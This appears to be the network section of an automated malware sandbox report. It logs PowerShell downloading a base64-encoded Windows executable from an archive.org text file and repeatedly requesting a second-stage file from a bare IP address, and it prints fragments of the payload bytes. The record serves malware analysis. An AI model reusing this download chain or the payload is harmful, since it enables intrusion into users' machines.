Oct 2, 2024 05:28:31.170742035 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.170753956 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.170815945 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.193454981 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.193485975 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.193587065 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.193608999 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.193660021 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.193753004 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.193773985 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.193837881 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.193845034 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.193883896 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.194263935 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.194278955 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.194339991 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.194350004 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.194395065 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.194567919 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.194582939 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.194638014 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.194648981 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.194701910 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.195004940 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.195019960 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.195071936 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.195079088 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.195116997 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.195394039 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.195410013 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.195461035 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.195470095 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.195507050 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.214242935 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.214262962 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.214312077 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.214323044 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.214353085 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.261195898 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.261220932 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.261360884 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.261374950 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.261440992 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.283998966 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.284025908 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.284133911 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.284151077 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.284210920 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.284430027 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.284449100 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.284499884 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.284508944 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.284555912 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.284807920 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.284826040 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.284868956 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.284882069 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.284918070 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.285200119 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.285219908 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.285259008 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.285269022 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.285283089 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.285304070 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.285551071 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.285568953 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.285615921 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.285624027 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.285660028 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.285983086 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.286000013 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.286036968 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.286046982 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.286063910 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.286081076 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.304812908 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.304835081 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.304893017 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.304903030 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.304925919 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.304944992 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.351784945 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.351810932 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.351933956 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.351947069 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.351988077 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.374579906 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.374604940 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.374670029 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.374691963 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.374732971 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.374902010 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.374921083 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.374983072 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.374990940 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.375035048 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.375343084 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.375363111 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.375397921 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.375406027 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.375428915 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.375437975 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.375706911 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.375726938 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.375771046 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.375778913 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.375813961 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.376207113 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.376226902 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.376271009 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.376279116 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.376322031 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.376538038 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.376559973 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.376606941 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.376615047 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.376652956 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.395467043 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.395487070 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.395565987 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.395580053 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.395621061 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.442594051 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.442622900 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.442712069 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.442723036 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.442760944 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.465394974 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.465416908 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.465482950 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.465502024 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.465517998 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.465534925 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.465780973 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.465801001 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.465835094 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.465842962 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.465873003 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.465888977 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.466129065 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.466149092 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.466197014 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.466212988 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.466228008 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.466257095 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.466593981 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.466612101 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.466650009 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.466659069 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.466690063 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.466707945 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.466984034 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.467000961 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.467046022 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.467055082 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.467068911 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.467087984 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.467327118 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.467346907 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.467389107 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.467395067 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.467410088 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.467433929 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.485488892 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.485568047 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:28:31.485585928 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.485619068 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.525198936 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:28:31.725111961 CEST	49705	80	192.168.2.8	172.232.189.85
Oct 2, 2024 05:28:31.730029106 CEST	80	49705	172.232.189.85	192.168.2.8
Oct 2, 2024 05:28:31.730112076 CEST	49705	80	192.168.2.8	172.232.189.85
Oct 2, 2024 05:28:31.730187893 CEST	49705	80	192.168.2.8	172.232.189.85
Oct 2, 2024 05:28:31.734965086 CEST	80	49705	172.232.189.85	192.168.2.8
Oct 2, 2024 05:28:53.140819073 CEST	80	49705	172.232.189.85	192.168.2.8
Oct 2, 2024 05:28:53.140927076 CEST	49705	80	192.168.2.8	172.232.189.85
Oct 2, 2024 05:28:53.311834097 CEST	49705	80	192.168.2.8	172.232.189.85
Oct 2, 2024 05:28:53.312211037 CEST	49709	80	192.168.2.8	172.232.189.85
Oct 2, 2024 05:28:53.316776037 CEST	80	49705	172.232.189.85	192.168.2.8
Oct 2, 2024 05:28:53.316987991 CEST	80	49709	172.232.189.85	192.168.2.8
Oct 2, 2024 05:28:53.317065954 CEST	49709	80	192.168.2.8	172.232.189.85
Oct 2, 2024 05:28:53.317166090 CEST	49709	80	192.168.2.8	172.232.189.85
Oct 2, 2024 05:28:53.321871042 CEST	80	49709	172.232.189.85	192.168.2.8
Oct 2, 2024 05:29:14.667205095 CEST	80	49709	172.232.189.85	192.168.2.8
Oct 2, 2024 05:29:14.667327881 CEST	49709	80	192.168.2.8	172.232.189.85
Oct 2, 2024 05:29:14.667418003 CEST	49709	80	192.168.2.8	172.232.189.85
Oct 2, 2024 05:29:14.672199965 CEST	80	49709	172.232.189.85	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 05:28:28.316123009 CEST	59905	53	192.168.2.8	1.1.1.1
Oct 2, 2024 05:28:28.466115952 CEST	53	59905	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 2, 2024 05:28:28.316123009 CEST	192.168.2.8	1.1.1.1	0xb14e	Standard query (0)	ia600100.us.archive.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 2, 2024 05:28:28.466115952 CEST	1.1.1.1	192.168.2.8	0xb14e	No error (0)	ia600100.us.archive.org		207.241.227.240	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ia600100.us.archive.org

172.232.189.85

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	172.232.189.85	80	5708	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 05:28:31.730187893 CEST	78	OUT	GET /2414/RNCFF.txt HTTP/1.1 Host: 172.232.189.85 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49709	172.232.189.85	80	5708	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 05:28:53.317166090 CEST	78	OUT	GET /2414/RNCFF.txt HTTP/1.1 Host: 172.232.189.85 Connection: Keep-Alive

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	207.241.227.240	443	5708	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:28:29 UTC	109	OUT	GET /24/items/detah-note-v/DetahNoteV.txt HTTP/1.1 Host: ia600100.us.archive.org Connection: Keep-Alive
2024-10-02 03:28:29 UTC	606	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Wed, 02 Oct 2024 03:28:29 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2823512 Last-Modified: Wed, 11 Sep 2024 23:50:18 GMT Connection: close ETag: "66e22cba-2b1558" Strict-Transport-Security: max-age=15724800 Expires: Wed, 02 Oct 2024 09:28:29 GMT Cache-Control: max-age=21600 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Accept-Encoding,Accept-Language,Authorization,Cache-Control,Content-Length,Content-Range,DNT,Pragma,Range,X-Requested-With Access-Control-Allow-Credentials: true Accept-Ranges: bytes
2024-10-02 03:28:29 UTC	15778	IN	Data Raw: 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41 45 44 41 42 6f 43 42 62 6f 41 41 41 41 41 41 41 41 41 41 4f 41 41 44 69 45 4c 41 54 41 41 41 45 59 67 41 41 41 49 41 41 41 41 41 41 41 41 76 6d 55 67 41 41 41 67 41 41 41 41 67 43 41 41 41 41 42 41 41 41 41 67 41 41 41 41 41 67 41 Data Ascii: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDABoCBboAAAAAAAAAAOAADiELATAAAEYgAAAIAAAAAAAAvmUgAAAgAAAAgCAAAABAAAAgAAAAAgA
2024-10-02 03:28:29 UTC	16384	IN	Data Raw: 41 41 41 50 34 4d 45 77 42 46 41 67 41 41 41 41 55 41 41 41 41 31 41 41 41 41 4f 41 41 41 41 41 41 41 45 51 4d 52 46 78 45 49 63 35 73 46 41 41 5a 76 63 51 41 41 43 69 41 42 41 41 41 41 66 73 55 49 41 41 52 37 42 51 6b 41 42 44 6e 4a 2f 2f 2f 2f 4a 69 41 41 41 41 41 41 4f 4c 37 2f 2f 2f 38 41 41 4e 30 66 41 41 41 41 49 41 49 41 41 41 42 2b 78 51 67 41 42 48 73 53 43 51 41 45 4f 73 6e 36 2f 2f 38 6d 49 41 41 41 41 41 41 34 76 76 72 2f 2f 78 45 44 62 79 73 41 41 41 6f 57 50 6f 38 41 41 41 41 67 41 51 41 41 41 48 37 46 43 41 41 45 65 77 73 4a 41 41 51 36 6e 66 72 2f 2f 79 59 67 41 51 41 41 41 44 69 53 2b 76 2f 2f 45 67 63 6f 63 41 41 41 43 68 4d 49 49 41 55 41 41 41 42 2b 78 51 67 41 42 48 76 30 43 41 41 45 4f 6e 58 36 2f 2f 38 6d 49 41 59 41 41 41 41 34 61 Data Ascii: AAAP4MEwBFAgAAAAUAAAA1AAAAOAAAAAAAEQMRFxEIc5sFAAZvcQAACiABAAAAfsUIAAR7BQkABDnJ////JiAAAAAAOL7///8AAN0fAAAAIAIAAAB+xQgABHsSCQAEOsn6//8mIAAAAAA4vvr//xEDbysAAAoWPo8AAAAgAQAAAH7FCAAEewsJAAQ6nfr//yYgAQAAADiS+v//EgcocAAAChMIIAUAAAB+xQgABHv0CAAEOnX6//8mIAYAAAA4a
2024-10-02 03:28:29 UTC	16384	IN	Data Raw: 2f 2f 2f 77 41 52 42 47 39 49 49 77 41 47 62 33 51 41 41 41 6f 54 42 53 41 46 41 41 41 41 4f 44 48 2f 2f 2f 38 41 4f 4e 73 41 41 41 41 67 43 41 41 41 41 44 67 45 41 41 41 41 2f 67 77 4d 41 45 55 67 41 41 41 41 4f 51 49 41 41 47 34 43 41 41 42 61 41 51 41 41 66 51 41 41 41 4d 73 43 41 41 43 4d 41 51 41 41 46 41 45 41 41 4a 77 44 41 41 43 55 41 41 41 41 41 51 4d 41 41 4c 77 41 41 41 41 57 41 41 41 41 33 41 49 41 41 4d 63 42 41 41 43 6a 41 51 41 41 53 67 49 41 41 41 55 41 41 41 43 62 41 67 41 41 58 67 41 41 41 49 45 42 41 41 41 38 41 51 41 41 61 77 45 41 41 42 30 44 41 41 44 38 41 41 41 41 66 77 49 41 41 4f 30 42 41 41 44 68 41 41 41 41 53 77 45 41 41 44 51 41 41 41 42 46 41 41 41 41 49 51 41 41 41 42 4d 43 41 41 41 34 4e 41 49 41 41 42 45 49 4f 6a 30 44 41 Data Ascii: ///wARBG9IIwAGb3QAAAoTBSAFAAAAODH///8AONsAAAAgCAAAADgEAAAA/gwMAEUgAAAAOQIAAG4CAABaAQAAfQAAAMsCAACMAQAAFAEAAJwDAACUAAAAAQMAALwAAAAWAAAA3AIAAMcBAACjAQAASgIAAAUAAACbAgAAXgAAAIEBAAA8AQAAawEAAB0DAAD8AAAAfwIAAO0BAADhAAAASwEAADQAAABFAAAAIQAAABMCAAA4NAIAABEIOj0DA
2024-10-02 03:28:29 UTC	16384	IN	Data Raw: 38 52 43 53 68 31 41 67 41 47 62 7a 49 6a 41 41 59 52 43 57 2f 47 49 67 41 47 4b 48 59 43 41 41 5a 76 4d 69 4d 41 42 69 68 30 41 67 41 47 45 77 38 67 43 51 41 41 41 48 37 46 43 41 41 45 65 38 49 49 41 41 51 36 7a 50 37 2f 2f 79 59 67 44 51 41 41 41 44 6a 42 2f 76 2f 2f 45 51 49 54 41 79 41 49 41 41 41 41 2f 67 34 4b 41 44 69 72 2f 76 2f 2f 4f 42 73 42 41 41 41 67 41 41 41 41 41 48 37 46 43 41 41 45 65 37 4d 49 41 41 51 36 6c 76 37 2f 2f 79 59 67 41 41 41 41 41 44 69 4c 2f 76 2f 2f 45 51 45 67 70 30 47 63 33 79 41 44 41 41 41 41 59 79 42 63 44 35 4f 49 59 58 37 46 43 41 41 45 65 38 51 49 41 41 52 68 4b 46 51 43 41 41 59 6f 59 77 49 41 42 68 4d 43 49 42 34 41 41 41 41 34 56 2f 37 2f 2f 78 45 48 4f 6c 6f 42 41 41 41 67 43 67 41 41 41 48 37 46 43 41 41 45 65 Data Ascii: 8RCSh1AgAGbzIjAAYRCW/GIgAGKHYCAAZvMiMABih0AgAGEw8gCQAAAH7FCAAEe8IIAAQ6zP7//yYgDQAAADjB/v//EQITAyAIAAAA/g4KADir/v//OBsBAAAgAAAAAH7FCAAEe7MIAAQ6lv7//yYgAAAAADiL/v//EQEgp0Gc3yADAAAAYyBcD5OIYX7FCAAEe8QIAARhKFQCAAYoYwIABhMCIB4AAAA4V/7//xEHOloBAAAgCgAAAH7FCAAEe
2024-10-02 03:28:29 UTC	16384	IN	Data Raw: 41 41 4f 4d 37 38 2f 2f 38 52 41 54 6b 71 2f 66 2f 2f 49 41 63 41 41 41 42 2b 78 51 67 41 42 48 76 6b 43 41 41 45 4f 72 50 38 2f 2f 38 6d 49 41 49 41 41 41 41 34 71 50 7a 2f 2f 77 41 41 41 52 41 41 41 41 49 41 71 77 44 35 70 41 46 33 41 41 41 41 41 43 5a 2b 6f 51 41 41 42 42 54 2b 41 53 6f 41 41 42 70 2b 6f 51 41 41 42 43 6f 41 4b 76 34 4a 41 41 42 76 5a 51 41 41 43 69 6f 41 4b 76 34 4a 41 41 42 76 54 51 41 41 43 69 6f 41 4c 67 44 2b 43 51 41 41 4b 50 77 6c 41 41 59 71 4c 67 44 2b 43 51 41 41 4b 4c 45 45 41 41 59 71 4b 76 34 4a 41 41 42 76 2b 51 49 41 42 69 6f 41 4b 76 34 4a 41 41 42 76 2b 41 49 41 42 69 6f 41 4b 76 34 4a 41 41 42 76 45 43 4d 41 42 69 6f 41 4c 67 44 2b 43 51 41 41 4b 43 55 42 41 41 6f 71 48 67 41 6f 73 41 51 41 42 69 70 4b 2f 67 6b 41 41 Data Ascii: AAOM78//8RATkq/f//IAcAAAB+xQgABHvkCAAEOrP8//8mIAIAAAA4qPz//wAAARAAAAIAqwD5pAF3AAAAACZ+oQAABBT+ASoAABp+oQAABCoAKv4JAABvZQAACioAKv4JAABvTQAACioALgD+CQAAKPwlAAYqLgD+CQAAKLEEAAYqKv4JAABv+QIABioAKv4JAABv+AIABioAKv4JAABvECMABioALgD+CQAAKCUBAAoqHgAosAQABipK/gkAA
2024-10-02 03:28:29 UTC	16384	IN	Data Raw: 6f 49 41 41 51 36 59 50 2f 2f 2f 79 59 67 43 41 41 41 41 44 68 56 2f 2f 2f 2f 4f 47 30 41 41 41 41 67 42 77 41 41 41 48 37 46 43 41 41 45 65 37 67 49 41 41 51 36 50 50 2f 2f 2f 79 59 67 42 41 41 41 41 44 67 78 2f 2f 2f 2f 41 41 49 6f 43 77 4d 41 42 69 41 43 41 41 41 41 66 73 55 49 41 41 52 37 75 67 67 41 42 44 6b 57 2f 2f 2f 2f 4a 69 41 42 41 41 41 41 4f 41 76 2f 2f 2f 38 41 49 49 66 62 73 78 73 67 6d 4f 66 75 4f 6c 67 67 64 4f 74 35 55 57 46 2b 78 51 67 41 42 48 73 43 43 51 41 45 59 53 67 37 41 77 41 47 4b 44 77 44 41 41 5a 36 42 47 39 67 41 41 41 4b 46 79 68 76 41 77 41 47 45 77 49 67 42 67 41 41 41 48 37 46 43 41 41 45 65 37 30 49 41 41 51 36 77 66 37 2f 2f 79 59 67 43 51 41 41 41 44 69 32 2f 76 2f 2f 41 41 51 55 2f 67 45 54 41 53 41 44 41 41 41 41 4f Data Ascii: oIAAQ6YP///yYgCAAAADhV////OG0AAAAgBwAAAH7FCAAEe7gIAAQ6PP///yYgBAAAADgx////AAIoCwMABiACAAAAfsUIAAR7uggABDkW////JiABAAAAOAv///8AIIfbsxsgmOfuOlggdOt5UWF+xQgABHsCCQAEYSg7AwAGKDwDAAZ6BG9gAAAKFyhvAwAGEwIgBgAAAH7FCAAEe70IAAQ6wf7//yYgCQAAADi2/v//AAQU/gETASADAAAAO
